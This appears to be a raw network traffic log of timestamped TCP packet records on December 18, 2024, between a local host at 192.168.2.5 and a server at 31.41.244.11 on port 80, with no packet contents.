Dec 18, 2024 21:30:45.295156002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.295188904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.295799017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.295810938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.295855999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.296495914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.296508074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.296544075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.297183990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.297195911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.297235012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.297862053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.297899008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.297964096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.298507929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.298520088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.298530102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.298559904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.298573017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.299226046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.299246073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.299310923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.299330950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.299921989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.299933910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.299973965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.300614119 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.300626993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.300662994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.301265955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.301311016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.301316977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.301328897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.301364899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.301966906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.301980019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.302021980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.302649021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.302661896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.302691936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.303350925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.303363085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.303409100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.304107904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.304121017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.304162979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.304825068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.304837942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.304847956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.304879904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.304905891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.305397987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.305409908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.305452108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.306078911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.306097031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.306107998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.306135893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.306166887 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.306777000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.306816101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.306857109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.307508945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.307523012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.307566881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.308177948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.308192015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.308228016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.308866024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.308878899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.308890104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.308921099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.308932066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.309559107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.309571981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.309597015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.309608936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.310233116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.310246944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.310282946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.310950994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.310962915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.311002016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.311691999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.311706066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.311717033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.311747074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.311758995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.312310934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.312324047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.312357903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.312975883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.312994957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.313021898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.313035011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.313653946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.313672066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.313713074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.314336061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.314347982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.314393997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.315095901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.315109015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.315119982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.315145016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.315175056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.315699100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.315716982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.315743923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.315756083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.316441059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.316453934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.316489935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.316519022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.317101955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.317115068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.317159891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.317223072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.317899942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.317943096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.317954063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.317979097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.317992926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.318542957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.318557024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.318593025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.319154024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.319165945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.319200039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.319844007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.319861889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.319886923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.319912910 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.320566893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.320585966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.320614100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.320627928 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.321377039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.321389914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.321400881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.321425915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.321456909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.321927071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.321938992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.321983099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.322612047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.322623968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.322670937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.323291063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.323303938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.323364973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.324014902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.324032068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.324043989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.324096918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.324096918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.324616909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.324739933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.484504938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.484564066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.484620094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.484668970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.484704018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.484745979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.485089064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.485110044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.485162020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.485173941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.486042976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.486097097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.486269951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.486320019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.486718893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.486737967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.486767054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.486777067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.487454891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.487467051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.487507105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.488665104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.488678932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.488689899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.488703012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.488719940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.488743067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.489497900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.489511013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.489551067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.490179062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.490196943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.490226984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.490257025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.491154909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.491167068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.491200924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.491219044 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.492199898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.492213011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.492242098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.492271900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.492815018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.492835999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.492866993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.492877960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.493680954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.493694067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.493705034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.493731022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.493758917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.494483948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.494497061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.494539976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.495322943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.495336056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.495383978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.495409966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.496247053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.496259928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.496289015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.497078896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.497092009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.497102022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.497126102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.497154951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.497708082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.497726917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.497754097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.497764111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.498411894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.498425007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.498459101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.499134064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.499146938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.499180079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.499191046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.499825954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.499839067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.499872923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.500461102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.500473976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.500484943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.500507116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.500519037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.501163960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.501178026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.501208067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.501219988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.501852989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.501866102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.501907110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.502522945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.502536058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.502547026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.502583981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.503221035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.503235102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.503243923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.503283978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.503312111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.503900051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.503943920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.503952980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.503978014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.504607916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.504621029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.504664898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.505280972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.505294085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.505305052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.505331993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.505345106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.505990028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.506001949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.506038904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.506660938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.506674051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.506721020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.507327080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.507345915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.507369995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.507396936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.508057117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.508070946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.508081913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.508105040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.508121967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.508740902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.508754015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.508794069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.509473085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.509485006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.509526014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.510185003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.510198116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.510241032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.510911942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.510925055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.510968924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.511467934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.511480093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.511492014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.511503935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.511528969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.512191057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.512203932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.512243986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.512270927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.512851954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.512864113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.512904882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.513576031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.513587952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.513641119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.513653994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.514225006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.514239073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.514249086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.514286041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.514316082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.514921904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.514935970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.514986992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.515638113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.515650988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.515695095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.516269922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.516290903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.516315937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.516351938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.516940117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.516977072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.516988039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.517015934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.517657995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.517671108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.517683029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.517709017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.517751932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.518342972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.518356085 CET	80	49819	31.41.244.11	192.168.2.5
